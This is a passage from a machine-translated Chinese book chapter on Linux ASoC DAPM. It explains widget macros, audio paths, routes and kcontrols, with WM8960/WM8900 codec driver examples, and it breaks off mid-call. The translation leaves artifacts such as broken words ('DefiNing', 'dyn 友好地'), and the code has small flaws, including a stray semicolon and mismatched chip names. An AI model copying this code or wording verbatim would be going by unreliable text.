**音频流域**:它们需要处理音频数据流,如 ADC、DAC 等。 启动和停止流播放/捕获时分别启用和禁用,例如`aplay`和`arecord`。 - -所有 DAPM 电源切换决策都是根据机器特定的音频路由图自动做出的,该路由图由每个音频组件(包括内部编解码器组件)之间的 I 互连组成。 - -#### 编解码域fi定义 - -DAPM 框架只为此域提供了一个宏: - -```sh -/* codec domain */ -#define SND_SOC_DAPM_VMID(wname) \ -    .id = snd_soc_dapm_vmid, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0} -``` - -#### DefiNing 平台域小部件 - -平台域的 Widget 分别对应于信号发生器、输入引脚、输出引脚、麦克风、耳机、扬声器和线路输入接口。 DAPM 框架为平台域小部件提供了许多辅助定义宏。 这些定义如下: - -```sh -#define SND_SOC_DAPM_SIGGEN(wname) \ -{   .id = snd_soc_dapm_siggen, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0, .reg = SND_SOC_NOPM } -#define SND_SOC_DAPM_SINK(wname) \ -{   .id = snd_soc_dapm_sink, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0, .reg = SND_SOC_NOPM } -#define SND_SOC_DAPM_INPUT(wname) \ -{   .id = snd_soc_dapm_input, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0, .reg = SND_SOC_NOPM } -#define SND_SOC_DAPM_OUTPUT(wname) \ -{   .id = snd_soc_dapm_output, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0, .reg = SND_SOC_NOPM } -#define SND_SOC_DAPM_MIC(wname, wevent) \ -{   .id = snd_soc_dapm_mic, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0, .reg = SND_SOC_NOPM, .event = wevent, \ -    .event_flags = SND_SOC_DAPM_PRE_PMU |      SND_SOC_DAPM_POST_PMD} -#define SND_SOC_DAPM_HP(wname, wevent) \ -{   .id = snd_soc_dapm_hp, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0, .reg = SND_SOC_NOPM, .event = wevent, \ -    .event_flags = SND_SOC_DAPM_POST_PMU |      SND_SOC_DAPM_PRE_PMD} -#define SND_SOC_DAPM_SPK(wname, wevent) \ -{   .id = snd_soc_dapm_spk, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0, .reg = SND_SOC_NOPM, .event = wevent, \ -    .event_flags = SND_SOC_DAPM_POST_PMU |      SND_SOC_DAPM_PRE_PMD} -#define SND_SOC_DAPM_LINE(wname, wevent) \ -{   .id = snd_soc_dapm_line, .name = wname,     .kcontrol_news = NULL, \ -    .num_kcontrols = 0, .reg = SND_SOC_NOPM, .event = wevent, \ -    .event_flags = SND_SOC_DAPM_POST_PMU |      SND_SOC_DAPM_PRE_PMD} -#define SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert) \ -    .reg = wreg, .mask = 1, .shift = wshift, \ -    .on_val = winvert ? 0 : 1, .off_val = winvert ? 1 : 0 -``` - -在前面的代码中,这些宏中的大多数字段都是通用的。 将`reg`字段设置为`SND_SOC_NOPM`(定义为`-1`)的事实意味着这些小工具没有用于控制小工具电源状态的寄存器控制位。 `SND_SOC_DAPM_INPUT`和`SND_SOC_DAPM_OUTPUT`用于定义编解码器驱动器内的编解码器芯片的输出和输入管脚。 从我们可以看到,`MIC`、`HP`、`SPK`和`LINE`微件响应`SND_SOC_DAPM_POST_PMU`(微件上电后)和`SND_SOC_DAPM_PMD`(BEFoRe 微件断电)事件,这些微件通常在机器驱动中定义。 - -#### Defi更新音频路径域小部件 - -这种小部件通常是重新打包普通的 kcontrol,并用音频路径和电源管理功能扩展它们。 这个扩展以某种方式使这种小部件能够识别 DAPM。 此域中的小部件将包含一个或多个不同于普通 kcontrol 的 kcontrol。 有一些启用了 DAPM 的 kcontrol。 这些不能使用标准方法定义,即基于`SOC_*-b`的宏控件。 它们需要使用 DAPM 框架提供的定义宏进行定义。 我们稍后将在*defining DAPM kControls*部分详细讨论它们。 但是,以下是这些小部件的定义宏: - -```sh -#define SND_SOC_DAPM_PGA(wname, wreg, wshift, winvert,\ -                         wcontrols, wncontrols) \ -{   .id = snd_soc_dapm_pga, .name = wname, \ -    SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -    .kcontrol_news = wcontrols, .num_kcontrols = wncontrols} -#define SND_SOC_DAPM_OUT_DRV(wname, wreg, wshift, winvert,\ -                               wcontrols, wncontrols) \ -{   .id = snd_soc_dapm_out_drv, .name = wname, \ -    SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -    .kcontrol_news = wcontrols, .num_kcontrols = wncontrols} -#define SND_SOC_DAPM_MIXER(wname, wreg, wshift, winvert, \ -                              wcontrols, wncontrols)\ -{   .id = snd_soc_dapm_mixer, .name = wname, \ -    SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -    .kcontrol_news = wcontrols, .num_kcontrols = wncontrols} -#define SND_SOC_DAPM_MIXER_NAMED_CTL(wname, wreg,                                      wshift, winvert, \ -                                     wcontrols, wncontrols)\ -{   .id = snd_soc_dapm_mixer_named_ctl, .name = wname, \ -    SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -    .kcontrol_news = wcontrols, .num_kcontrols = wncontrols} -#define SND_SOC_DAPM_SWITCH(wname, wreg, wshift, winvert, wcontrols) \ -{   .id = snd_soc_dapm_switch, .name = wname, \ -    SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -    .kcontrol_news = wcontrols, .num_kcontrols = 1} -#define SND_SOC_DAPM_MUX(wname, wreg, wshift,                          winvert, wcontrols) \ -{   .id = snd_soc_dapm_mux, .name = wname, \ -    SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -    .kcontrol_news = wcontrols, .num_kcontrols = 1} -#define SND_SOC_DAPM_DEMUX(wname, wreg, wshift,                            winvert, wcontrols) \ -{   .id = snd_soc_dapm_demux, .name = wname, \ -    SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -    .kcontrol_news = wcontrols, .num_kcontrols = 1} -``` - -与平台和编解码域小部件不同,需要分配`reg`和`shift`字段,表示这些小部件有相应的电源控制寄存器。 当扫描和更新音频路径时,DAPM 框架使用这些寄存器来控制微件的电源状态。 它们的电源状态是动态分配的,在需要时(在有效音频路径上)通电,在不需要时(在非活动音频路径上)断电。 这些小部件需要执行与前面介绍的混合器、多路复用器等相同的功能。 事实上,这是由它们包含的 kcontrol 控件完成的。 驱动代码必须在定义小部件之前定义 kcontrol,然后将`wcontrols`和`num_kcontrols`参数传递给这些辅助定义宏。 - -这些宏还有另一个变体,它有一个指向事件处理程序的指针。 这样的宏有`_E`后缀。 它们是`SND_SOC_DAPM_PGA_E`、`SND_SOC_DAPM_OUT_DRV_E`、`SND_SOC_DAPM_MIXER_E`、`SND_SOC_DAPM_MIXER_NAMED_CTL_E`、`SND_SOC_DAPM_SWITCH_E`、`SND_SOC_DAPM_MUX_E`和`SND_SOC_DAPM_VIRT_MUX_E`。 建议您查看内核源代码,以查看[https://elixir.bootlin.com/linux/v4.19/source/include/sound/soc-dapm.h#L136](https://elixir.bootlin.com/linux/v4.19/source/include/sound/soc-dapm.h#L136)中的 IR 定义。 - -#### 定义音频流域 - -这些控件主要包括音频输入/输出接口、ADC/DAC 和时钟线路。 从音频界面小部件开始,如下所示: - -```sh -#define SND_SOC_DAPM_AIF_IN(wname, stname, wslot, wreg, wshift, winvert) \ -{  .id = snd_soc_dapm_aif_in, .name = wname, .sname = stname, \ -   SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), } -#define SND_SOC_DAPM_AIF_IN_E(wname, stname, wslot, wreg, \ -                             wshift, winvert, wevent, wflags) \ -{  .id = snd_soc_dapm_aif_in, .name = wname, .sname = stname, \ -   SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -   .event = wevent, .event_flags = wflags } -#define SND_SOC_DAPM_AIF_OUT(wname, stname, wslot, wreg, wshift, winvert) \ -{ .id = snd_soc_dapm_aif_out, .name = wname, .sname = stname, \ -     SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), } -#define SND_SOC_DAPM_AIF_OUT_E(wname, stname, wslot, wreg, \ -                             wshift, winvert, wevent, wflags) \ -{ .id = snd_soc_dapm_aif_out, .name = wname, .sname = stname, \ -     SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -     .event = wevent, .event_flags = wflags } -``` - -在前面的宏定义列表中,`SND_SOC_DAPM_AIF_IN`和`SND_SOC_DAPM_AIF_OUT`分别是音频接口输入和输出。 前者定义到接收要传递到 DAC 的音频的主机的连接,后者定义到传输从 ADC 接收的音频的主机的连接。 `SND_SOC_DAPM_AIF_IN_E`和`SND_SOC_DAPM_AIF_OUT_E`是它们各自的事件变体,允许在`wflags`中启用的事件之一发生时调用`wevent`。 - -现在是与 ADC/DAC 相关的小部件,以及与时钟相关的小部件,定义如下: - -```sh -#define SND_SOC_DAPM_DAC(wname, stname, wreg,                          wshift, winvert) \ -{    .id = snd_soc_dapm_dac, .name = wname, .sname = stname, \ -     SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert) } -#define SND_SOC_DAPM_DAC_E(wname, stname, wreg, wshift, \ -                           winvert, wevent, wflags) \ -{    .id = snd_soc_dapm_dac, .name = wname, .sname = stname, \ -     SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -     .event = wevent, .event_flags = wflags} -#define SND_SOC_DAPM_ADC(wname, stname, wreg,                          wshift, winvert) \ -{    .id = snd_soc_dapm_adc, .name = wname, .sname = stname, \ -     SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), } -#define SND_SOC_DAPM_ADC_E(wname, stname, wreg, wshift,\ -                           winvert, wevent, wflags) \ -{    .id = snd_soc_dapm_adc, .name = wname, .sname = stname, \ -     SND_SOC_DAPM_INIT_REG_VAL(wreg, wshift, winvert), \ -     .event = wevent, .event_flags = wflags} -#define SND_SOC_DAPM_CLOCK_SUPPLY(wname) \ -{    .id = snd_soc_dapm_clock_supply, .name = wname, \ -    .reg = SND_SOC_NOPM, .event = dapm_clock_event, \ -    .event_flags = SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD } -``` - -在前面的宏列表中,`SND_SOC_DAPM_ADC`和`SND_SOC_DAPM_DAC`分别是 ADC 和 DAC 小部件。 前者用于根据需要控制 ADC 的通电和关断,后者则针对 DAC。 前者通常与设备上的捕获流相关联,例如“Left Capture(左捕获)”或“Right Capture(右捕获)”,而后者通常与重放流(例如,“Left Playback(左回放)”或“Right Playback(右回放)”)相关联。 寄存器设置定义单个寄存器和位位置,翻转时将打开或关闭 ADC/DAC。 您还应该注意到它们的事件变体`SND_SOC_DAPM_ADC_E`和`SND_SOC_DAPM_DAC_E`。 `SND_SOC_DAPM_CLOCK_SUPPLY`是用于连接到时钟框架的供应小部件变体。 - -还有其他小部件类型没有提供定义宏,并且不会在我们到目前为止介绍的任何域中结束。 它们是`snd_soc_dapm_dai_in`、`snd_soc_dapm_dai_out`和`snd_soc_dapm_dai_link`。 - -此类小部件是在 DAI 注册时从 CPU 或编解码器驱动隐式创建的。 换句话说,无论何时注册 DAI,DAPM 核心都会根据要注册的 DAI 的流创建类型为`snd_soc_dapm_dai_in`或类型为`snd_soc_dapm_dai_out`的小部件。 通常,这两个小部件都会连接到编解码器中流名称相同的小部件。 此外,当机器驱动决定将编解码器和 CPU DAI 绑定在一起时,此将在 DAPM fr 中返回 sult,以创建类型为`snd_soc_dapm_dai_link`的小部件来描述连接的电源状态。 - -#### 路径的概念-小部件之间的连接器 - -Widget 的意思是将它们彼此链接起来,以便构建一个功能正常的音频流路径。 也就是说,为了维护音频状态,需要跟踪两个小部件之间的连接。 为了描述两个小部件之间的补丁,DAPM 核心使用`struct snd_soc_dapm_path`数据结构,定义如下: - -```sh -/* dapm audio path between two widgets */ -struct snd_soc_dapm_path { -    const char *name; -    /* -     * source (input) and sink (output) widgets -     * The union is for convenience,      * since it is a lot nicer to type -     * p->source, rather than p->node[SND_SOC_DAPM_DIR_IN] -     */ -    union { -        struct { -            struct snd_soc_dapm_widget *source; -            struct snd_soc_dapm_widget *sink; -        }; -        struct snd_soc_dapm_widget *node[2]; -    }; -    /* status */ -    u32 connect:1; /* source and sink widgets are connected */ -    u32 walking:1; /* path is in the process of being walked */ -    u32 weak:1; /* path ignored for power management */ -    u32 is_supply:1;  /* At least one of the connected widgets                        is a supply */ -    int (*connected)(struct snd_soc_dapm_widget *source, struct   -                     snd_soc_dapm_widget *sink); -    struct list_head list_node[2]; -    struct list_head list_kcontrol; -    struct list_head list; -}; -``` - -此结构抽象了两个小部件之间的链接。 它的`source`字段指向连接的开始小部件,而它的`sink`字段指向连接的到达小部件。 微件的输入和输出(即端点)可以连接到多条路径。 所有输入的`snd_soc_dapm_path` 结构通过`list_node[SND_SOC_DAPM_DIR_IN]`字段挂起在微件的源列表中,而所有输出的`snd_soc_dapm_path`结构存储在微件的接收器列表中,即`list_node[SND_SOC_DAPM_DIR_OUT]`。 连接从信源到信宿,原理非常简单。 只需记住连接路径是这样的:*开始小部件的输出-->路径数据结构的输入*和*路径数据结构的输出-->到达端小部件输入*。 - -在卡注册时,`list`字段将在声卡的路径列表标题字段中结束。 此列表允许声卡跟踪它可以使用的所有可用路径。 最后,`connected`字段允许您实现自己的自定义方法来检查路径的当前连接状态。 - -重要音符 - -`SND_SOC_DAPM_DIR_IN`和`SND_SOC_DAPM_DIR_OUT`分别是`0`和`1`的枚举数。 - -您可能永远不想直接处理路径。 但是,这里引入这个概念是为了教育学,因为它将帮助我们理解下一节。 - -#### 路由小部件互连的概念 - -本章前面介绍的路径的概念是对此路径的介绍。 从前面的讨论中,我们可以介绍路由的概念。 路由连接至少由起始微件、跳线路径、宿微件组成,并且在 DAPM 中使用`struct snd_soc_dapm_route`结构来描述这样的连接: - -```sh -struct snd_soc_dapm_route { -    const char *sink; -    const char *control; -    const char *source; -    /* Note: currently only supported for links where source is -     a supply */ -    int (*connected)(struct snd_soc_dapm_widget *source, -                     struct snd_soc_dapm_widget *sink); -}; -``` - -在上述数据结构中,`sink`指向到达控件的名称字符串,`source`指向起始控件的名称字符串,`control`指向负责控制连接的 kcontrol 名称字符串,`connected`定义自定义连接检查回调。 这个结构的含义很明显:`source`通过`kcontrol`连接到`sink`,并且可以调用`connected`回调函数来检查连接状态。 - -使用以下方案定义路由: - -```sh -{Destination Widget, Switch, Source Widget}, -``` - -这意味着`Source Widget`通过`Swtich`连接到`Destination Widget`。 这样,DAPM 核心将在需要激活连接时关闭开关,并且源小部件和目标小部件也将通电。 有时,这种联系可能是直接的。 在这种情况下,`Switch`应该是`NULL`。 然后,您将拥有类似以下内容的内容: - -```sh -{end point, NULL, starting point}, -``` - -您应该直接使用名称字符串来描述连接关系、所有定义的路由,最后,您必须注册到 DAPM 核心。 DAPM 核心将根据这些名称找到相应的小部件,然后 dyn 友好地生成所需的`snd_soc_dapm_path`来描述两个小部件之间的连接。 在接下来的几节中,我们将了解如何创建路由。 - -#### Defining DAPM kcontrol - -正如前面的节中提到的,音频路径域中的混音器或 MUX 类型的小部件由几个 kcontrol 组成,必须使用基于 DAPM 的宏来定义。 DAPM 使用这些 kcontrol 来完成音频路径。 然而,对于小部件来说,这项任务远不止于此。 DAPM 还动态管理这些音频路径的连接关系,以便可以根据这些连接关系控制这些小部件的电源状态。 如果这些 kcontrol 是以常规方式定义的,那么这是不可能的,因此 DAPM 为我们提供了另一组定义宏来定义小部件中包含的 kcontrol: - -```sh -#define SOC_DAPM_SINGLE(xname, reg, shift, max, invert) \ -{  .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \ -   .info = snd_soc_info_volsw, \ -   .get = snd_soc_dapm_get_volsw,    .put = snd_soc_dapm_put_volsw, \ -   .private_value = SOC_SINGLE_VALUE(reg, shift, max, invert) } -#define SOC_DAPM_SINGLE_TLV(xname, reg, shift, max, invert,                             tlv_array) \ -{  .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \ -   .info = snd_soc_info_volsw, \ -   .access = SNDRV_CTL_ELEM_ACCESS_TLV_READ | \ -             SNDRV_CTL_ELEM_ACCESS_READWRITE, \ -   .tlv.p = (tlv_array), \ -   .get = snd_soc_dapm_get_volsw,   -   .put = snd_soc_dapm_put_volsw, \ -   .private_value = SOC_SINGLE_VALUE(reg, shift, max, invert) } -#define SOC_DAPM_ENUM(xname, xenum) \ -{  .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \ -   .info = snd_soc_info_enum_double, \ -   .get = snd_soc_dapm_get_enum_double, \ -   .put = snd_soc_dapm_put_enum_double, \ -   .private_value = (unsigned long)&xenum} -#define SOC_DAPM_ENUM_VIRT(xname, xenum) \ -{  .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \ -   .info = snd_soc_info_enum_double, \ -   .get = snd_soc_dapm_get_enum_virt, \ -   .put = snd_soc_dapm_put_enum_virt, \ -   .private_value = (unsigned long)&xenum} -#define SOC_DAPM_ENUM_EXT(xname, xenum, xget, xput) \ -{  .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \ -   .info = snd_soc_info_enum_double, \ -   .get = xget, \ -   .put = xput, \ -   .private_value = (unsigned long)&xenum } -#define SOC_DAPM_VALUE_ENUM(xname, xenum) \ -{  .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \ -   .info = snd_soc_info_enum_double, \ -   .get = snd_soc_dapm_get_value_enum_double, \ -   .put = snd_soc_dapm_put_value_enum_double, \ -   .private_value = (unsigned long)&xenum } -#define SOC_DAPM_PIN_SWITCH(xname) \ -{  .iface = SNDRV_CTL_ELEM_IFACE_MIXER,    .name = xname " Switch" , \ -   .info = snd_soc_dapm_info_pin_switch, \ -   .get = snd_soc_dapm_get_pin_switch, \ -   .put = snd_soc_dapm_put_pin_switch, \ -   .private_value = (unsigned long)xname } -``` - -可以看到,`SOC_DAPM_SINGLE`是相当于标准控制的`SOC_SINGLE`的 DAPM,`SOC_DAPM_SINGLE_TLV`对应于`SOC_SINGLE_TLV`,依此类推。 与普通的 kcontrol 相比,DAPM 的 kcontrol 只替换了`info`、`get`和`put`回调函数。 DAPM kcontrol 提供的`put`回调函数不仅更新控件本身的状态,还将此更改传递给相邻的 DAPM kcontrol。 相邻的 DAPM kcontrol 将把该改变传递给它自己的邻居 DAPM kcontrol,知道在音频路径的末端,通过改变 widget 之一的连接状态,扫描和测试与其相关联的所有窗口小部件,以查看它们是否仍在活动音频路径中,从而动态地改变它们的电源状态。 这就是 DAPM 的本质。 - -#### 创建小部件和路由 - -前面的部分介绍了许多辅助宏。 然而,这只是理论上的,没有解释如何定义我们实际系统所需的小部件,也没有解释如何定义小部件之间的连接关系。 这里,我们以沃尔夫森的编解码芯片**WM8960**为例来理解这个过程: - -![Figure 5.3 – WM8960 internal audio paths and controls ](img/Figure-5.3_B10985.jpg) - -图 5.3-WM8960 内部音频路径和控件 - -以前面的图为例,从 WolfsonWM8960 编解码器芯片中,第一步是使用 Helper 宏来定义小部件所需的 DAPM kcontrol: - -```sh -static const struct snd_kcontrol_new wm8960_loutput_mixer[] = { -    SOC_DAPM_SINGLE("PCM Playback Switch", WM8960_LOUTMIX, 8,                    1, 0), -    SOC_DAPM_SINGLE("LINPUT3 Switch", WM8960_LOUTMIX, 7, 1, 0), -    SOC_DAPM_SINGLE("Boost Bypass Switch", WM8960_BYPASS1, 7,                    1, 0), -}; -static const struct snd_kcontrol_new wm8960_routput_mixer[] = { -    SOC_DAPM_SINGLE("PCM Playback Switch", WM8960_ROUTMIX, 8,                    1, 0), -    SOC_DAPM_SINGLE("RINPUT3 Switch", WM8960_ROUTMIX, 7, 1, 0), -    SOC_DAPM_SINGLE("Boost Bypass Switch", WM8960_BYPASS2, 7,                    1, 0), -}; -static const struct snd_kcontrol_new wm8960_mono_out[] = { -    SOC_DAPM_SINGLE("Left Switch", WM8960_MONOMIX1, 7, 1, 0), -    SOC_DAPM_SINGLE("Right Switch", WM8960_MONOMIX2, 7, 1, 0), -}; -``` - -在前面的中,我们定义了`wm8960`中的左右输出声道的混频器控件,以及单声道输出混频器:`wm8960_loutput_mixer`、`wm8960_routput_mixer`和`wm8960_mono_out`。 - -第二步包括定义实际的小部件,包括第一步中定义的 DAPM 控件: - -```sh -static const struct snd_soc_dapm_widget wm8960_dapm_widgets[] = { -    [...] -    SND_SOC_DAPM_INPUT("LINPUT3"), -    SND_SOC_DAPM_INPUT("RINPUT3"), -    SND_SOC_DAPM_SUPPLY("MICB", WM8960_POWER1, 1, 0, NULL, 0), -    [...] -    SND_SOC_DAPM_DAC("Left DAC", "Playback", WM8960_POWER2, 8,                     0), -    SND_SOC_DAPM_DAC("Right DAC", "Playback", WM8960_POWER2, 7,                      0), -    SND_SOC_DAPM_MIXER("Left Output Mixer", WM8960_POWER3, 3,                        0, -                       &wm8960_loutput_mixer[0],                        ARRAY_SIZE(wm8960_loutput_mixer)), -    SND_SOC_DAPM_MIXER("Right Output Mixer", WM8960_POWER3, 2,                       0, -                       &wm8960_routput_mixer[0],                        ARRAY_SIZE(wm8960_routput_mixer)), -    SND_SOC_DAPM_PGA("LOUT1 PGA", WM8960_POWER2, 6, 0, NULL,                      0), -    SND_SOC_DAPM_PGA("ROUT1 PGA", WM8960_POWER2, 5, 0, NULL,                      0), -    SND_SOC_DAPM_PGA("Left Speaker PGA", WM8960_POWER2, -                     4, 0, NULL, 0), -    SND_SOC_DAPM_PGA("Right Speaker PGA", WM8960_POWER2, -                     3, 0, NULL, 0), -    SND_SOC_DAPM_PGA("Right Speaker Output", WM8960_CLASSD1, -                     7, 0, NULL, 0); -    SND_SOC_DAPM_PGA("Left Speaker Output", WM8960_CLASSD1, -                     6, 0, NULL, 0), -    SND_SOC_DAPM_OUTPUT("SPK_LP"), -    SND_SOC_DAPM_OUTPUT("SPK_LN"), -    SND_SOC_DAPM_OUTPUT("HP_L"), -    SND_SOC_DAPM_OUTPUT("HP_R"), -    SND_SOC_DAPM_OUTPUT("SPK_RP"), -    SND_SOC_DAPM_OUTPUT("SPK_RN"), -    SND_SOC_DAPM_OUTPUT("OUT3"), -}; -static const struct snd_soc_dapm_widget wm8960_dapm_widgets_out3[] = { -    SND_SOC_DAPM_MIXER("Mono Output Mixer", WM8960_POWER2, 1,                       0, -                       &wm8960_mono_out[0],                        ARRAY_SIZE(wm8960_mono_out)), -}; -``` - -在此步骤中,为每个左通道和右通道以及通道选择器定义了一个 MUX 小部件:它们是左输出混合器、右输出混合器和单声道输出混合器。 我们还为左扬声器和右扬声器定义了一个混合器小部件:`SPK_LP`、`SPK_LN`、`HP_L`、`HP_R`、`SPK_RP`、`OUT3`和`SPK_RN`。 具体的混合器控制由上一步中定义的`wm8960_loutput_mixer`、`wm8960_routput_mixer`和`wm8960_mono_out`完成。 这三个小部件都有电源属性,因此当这些小部件中的一个(或多个)在一个有效的音频路径中时,DAPM 框架可以通过它们各自寄存器的位 7 和/或 8 来控制其电源状态。 - -第三步是定义这些小部件的连接路径: - -```sh -static const struct snd_soc_dapm_route audio_paths[] = { -   [...] -   {"Left Output Mixer", "LINPUT3 Switch", "LINPUT3"}, -   {"Left Output Mixer", "Boost Bypass Switch",     "Left Boost Mixer"}, -   {"Left Output Mixer", "PCM Playback Switch", "Left DAC"}, -   {"Right Output Mixer", "RINPUT3 Switch", "RINPUT3"}, -   {"Right Output Mixer", "Boost Bypass Switch",     "Right Boost Mixer"}, -   {"Right Output Mixer", "PCM Playback Switch", "Right DAC"}, -   {"LOUT1 PGA", NULL, "Left Output Mixer"}, -   {"ROUT1 PGA", NULL, "Right Output Mixer"}, -   {"HP_L", NULL, "LOUT1 PGA"}, -   {"HP_R", NULL, "ROUT1 PGA"}, -   {"Left Speaker PGA", NULL, "Left Output Mixer"}, -   {"Right Speaker PGA", NULL, "Right Output Mixer"}, -   {"Left Speaker Output", NULL, "Left Speaker PGA"}, -   {"Right Speaker Output", NULL, "Right Speaker PGA"}, -   {"SPK_LN", NULL, "Left Speaker Output"}, -   {"SPK_LP", NULL, "Left Speaker Output"}, -   {"SPK_RN", NULL, "Right Speaker Output"}, -   {"SPK_RP", NULL, "Right Speaker Output"}, -}; -static const struct snd_soc_dapm_route audio_paths_out3[] = { -   {"Mono Output Mixer", "Left Switch", "Left Output Mixer"}, -   {"Mono Output Mixer", "Right Switch", "Right Output Mixer"}, -   {"OUT3", NULL, "Mono Output Mixer"} -}; -``` - -通过第一步的定义,我们知道`"Left output Mux"`和`"right output Mux"`分别有三个输入管脚,`"Boost Bypass Switch"`、`"LINPUT3 Switch"`(或`"RINPUT3 Switch"`)和`"PCM Playback Switch"`。 `"Mono Output Mixer"`只有两个输入选择管脚,分别是`"Left Switch"`和`"Right Switch"`。 因此,很明显,前面路径定义的含义如下: - -* `"Left Boost Mixer"`通过`"Boost Bypass Switch"`连接到`"Left Output Mixer"`。 -* `"Left DAC"`通过`"PCM Playback Switch"`连接到`"Left Output Mixer"`。 -* `"RINPUT3"`通过`"RINPUT3 Switch"`连接到`"Right Output Mixer"`。 -* `"Right Boost Mixer"`通过`"Boost Bypass Switch"`连接到`"Right Output Mixer"`。 -* `"Right DAC"`通过`"PCM Playback Switch"`连接到`"Right Output Mixer"`。 -* `"Left Output Mixer"`连接到`"LOUT1 PGA"`。 但是,此链路没有交换机控制。 -* `"Right Output Mixer"`连接到`"ROUT1 PGA"`,没有开关控制此连接。 - -并不是所有的联系都已经描述过了,但是这个想法是存在的。 第四步是在编解码器驱动的探测回调中注册这些小部件和路径: - -```sh -static int wm8960_add_widgets(struct                               snd_soc_component *component) -{ -    [...] -    struct snd_soc_dapm_context *dapm =   -                        snd_soc_component_get_dapm(component); -    struct snd_soc_dapm_widget *w; -    snd_soc_dapm_new_controls(dapm, wm8960_dapm_widgets, -                         ARRAY_SIZE(wm8960_dapm_widgets)); -    snd_soc_dapm_add_routes(dapm, audio_paths, -                         ARRAY_SIZE(audio_paths)); -    [...] -    return 0; -} -static int wm8960_probe(struct snd_soc_component *component) -{ -    [...] -    snd_soc_add_component_controls(component,                                    wm8960_snd_controls, -                              ARRAY_SIZE(wm8960_snd_controls)); -    wm8960_add_widgets(component); -    return 0; -} -static const struct snd_soc_component_driver      soc_component_dev_wm8960 = { -    .probe = wm8960_probe, -    .set_bias_level = wm8960_set_bias_level, -    .suspend_bias_off = 1, -    .idle_bias_on = 1, -    .use_pmdown_time = 1, -    .endianness = 1, -    .non_legacy_dai_naming = 1, -}; -static int wm8960_i2c_probe(struct i2c_client *i2c, -                            const struct i2c_device_id *id) -{ -    [...] -    ret = devm_snd_soc_register_component(&i2c->dev, -                                     &soc_component_dev_wm8960,                                     &wm8960_dai, 1); -    return ret; -} -``` - -在前面的示例中,控件、小部件和路由注册被推迟到组件驱动的探测回调中。 此帮助确保只有在机器驱动探测到组件 i 时才创建这些元素。 在机器驱动中,我们可以以相同的方式定义和注册特定于电路板的窗口小部件和路径信息。 - -### 编解码器组件注册 - -设置编解码器组件后,必须将其注册到系统中,这样才能将其用于设计用途。 为此,您应该使用`devm_snd_soc_register_component()`。 此功能将在需要时自动进行注销/清理。 以下是它的原型: - -```sh -int devm_snd_soc_register_component(struct device *dev, -                     const struct                      snd_soc_component_driver *cmpnt_drv, -                     struct snd_soc_dai_driver *dai_drv,                      int num_dai) -``` - -以下是编解码器注册的示例,摘录自`wm8960`编解码器驱动。 组件驱动首先定义如下: - -```sh -static const struct snd_soc_component_driver      soc_component_dev_wm8900 = { -    .probe = wm8900_probe, -    .suspend = wm8900_suspend, -    .resume = wm8900_resume, -    [...] -    /* control, widget and route setup */ -    .controls = wm8900_snd_controls, -    .num_controls = ARRAY_SIZE(wm8900_snd_controls), -    .dapm_widgets = wm8900_dapm_widgets, -    .num_dapm_widgets = ARRAY_SIZE(wm8900_dapm_widgets), -    .dapm_routes = wm8900_dapm_routes, -    .num_dapm_routes = ARRAY_SIZE(wm8900_dapm_routes), -}; -``` - -组件驱动容器包含`dapm`路由和小部件,以及一组控件。 然后,通过`struct snd_soc_dai_ops`提供编解码器`dai`回调,如下所示: - -```sh -static const struct snd_soc_dai_ops wm8900_dai_ops = { -    .hw_params = wm8900_hw_params, -    .set_clkdiv = wm8900_set_dai_clkdiv, -    .set_pll = wm8900_set_dai_pll, -    .set_fmt = wm8900_set_dai_fmt, -    .digital_mute = wm8900_digital_mute, -}; -``` - -这些编解码器`dai`回调分配给编解码器`dai`驱动的(通过`ops`字段),以便将注册到 ASOC 内核,如下所示: - -```sh -#define WM8900_RATES (SNDRV_PCM_RATE_8000  |\                      SNDRV_PCM_RATE_11025 |\   -                      SNDRV_PCM_RATE_16000 |\                      SNDRV_PCM_RATE_22050 |\ -                      SNDRV_PCM_RATE_44100 |\                      SNDRV_PCM_RATE_48000) -#define WM8900_PCM_FORMATS \ -    (SNDRV_PCM_FMTBIT_S16_LE | SNDRV_PCM_FMTBIT_S20_3LE | \ -     SNDRV_PCM_FMTBIT_S24_LE) -static struct snd_soc_dai_driver wm8900_dai = { -    .name = "wm8900-hifi", -    .playback = { -        .stream_name = "HiFi Playback", -        .channels_min = 1, -        .channels_max = 2, -        .rates = WM8900_RATES, -        .formats = WM8900_PCM_FORMATS, -    }, -    .capture = { -        .stream_name = "HiFi Capture", -        .channels_min = 1, -        .channels_max = 2, -        .rates = WM8900_RATES, -        .formats = WM8900_PCM_FORMATS, -    }, -    .ops = &wm8900_dai_ops, -}; -static int wm8900_spi_probe(struct spi_device *spi) -{ -    [...] -    ret = devm_snd_soc_register_component(&spi->dev, -                                     